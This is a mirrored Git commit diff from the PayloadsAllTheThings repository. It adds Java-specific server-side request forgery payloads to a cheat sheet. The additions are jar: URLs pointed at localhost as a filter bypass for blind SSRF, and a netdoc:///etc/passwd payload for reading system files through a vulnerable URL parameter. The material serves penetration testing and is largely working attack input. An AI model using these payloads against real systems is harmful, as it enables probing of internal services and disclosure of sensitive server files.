mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 06:42:47 +00:00
Merge pull request #289 from samsbp/master
Update ssrf payloads specific to java
This commit is contained in:
commit
a60caaefef
1 changed files with 15 additions and 2 deletions
|
@ -21,6 +21,7 @@
|
|||
* [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics)
|
||||
* [Bypass filter_var() php function](#bypass-filter_var-php-function)
|
||||
* [Bypass against a weak parser](#bypass-against-a-weak-parser)
|
||||
* [Bypassing using jar protocol (java only)](#bypassing-using-jar-protocol-java-only)
|
||||
* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme)
|
||||
* [file://](#file)
|
||||
* [http://](#http)
|
||||
|
@ -247,6 +248,17 @@ For example to rotate between 1.2.3.4 and 169.254-169.254, use the following dom
|
|||
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
|
||||
```
|
||||
|
||||
### Bypassing using jar protocol (java only)
|
||||
|
||||
Blind SSRF
|
||||
|
||||
```powershell
|
||||
jar:scheme://domain/path!/
|
||||
jar:http://127.0.0.1!/
|
||||
jar:https://127.0.0.1!/
|
||||
jar:ftp://127.0.0.1!/
|
||||
```
|
||||
|
||||
## SSRF exploitation via URL Scheme
|
||||
|
||||
### File
|
||||
|
@ -374,8 +386,8 @@ Content of evil.com/redirect.php:
|
|||
Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
|
||||
|
||||
```powershell
|
||||
ssrf.php?url=gopher://127.0.0.1:4242/DATA
|
||||
```
|
||||
ssrf.php?url=netdoc:///etc/passwd
|
||||
```
|
||||
|
||||
## SSRF exploiting WSGI
|
||||
|
||||
|
@ -769,3 +781,4 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
|
|||
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
|
||||
- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
|
||||
- [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
|
||||
|
|
Loading…
Reference in a new issue